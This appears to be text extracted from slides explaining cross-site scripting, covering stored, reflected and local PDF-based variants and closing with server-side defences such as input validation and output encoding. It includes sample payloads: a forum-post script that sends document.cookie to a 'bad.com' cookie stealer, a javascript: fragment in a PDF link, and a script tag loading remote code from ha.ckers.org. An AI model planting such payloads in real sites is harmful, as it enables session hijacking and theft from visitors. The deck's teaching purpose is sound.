Cross Site Scripting (XSS)
Cross Site Scripting (XSS)
Definition
Cross Site Scripting (XSS) is a type of computer security exploit where information from one context, where it is not trusted, can be inserted into another context, where it is The trusted website is used to store, transport, or deliver malicious content to the victim The target is to trick the client browser to execute malicious scripting commands JavaScript, VBScript, ActiveX, HTML, or Flash Caused by insufficient input validation.
Stored (Persistent)
Forum, bulletin board, feedback form
Local
PDF Adobe Reader , FLASH player
Reflected (Non-Persistent)
1
Send e-mail with <script> tags embedded in the link.
2
www.badguy.com Cookie collector
Malicious content dose not get stored in the server The server bounces the original input to the victim without modification
Stored (Persistent)
Public forum web site
1
Attacker Upload malicious scripting commands to the public forum
Great message! <script> var img=new Image(); img.src= "http://www.bad.com/CookieStealer/ Form1.aspx?s= "+document.cookie; </script>
Browse
The server stores the malicious content The server serves the malicious content in its original form
Local
1
Attacker Send e-mail with a link Http://freeebook.com/ haha.pdf#a=javascript:alert(Boo);
Victim
2
Request for http://freeebook.com/haha.pdf Ignore everything after #
PDF Viewer gets the full URL from browser (including the content after # ) PDF Viewer executes the Javascript.
The injected script does not traverse to the server Arising fast as the major threat as the other two types of XSS are getting fixed
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
Server side
Input validation (Black listing VS White listing) Encode all meta characters send to the client keep track of user sessions Web application firewall Always test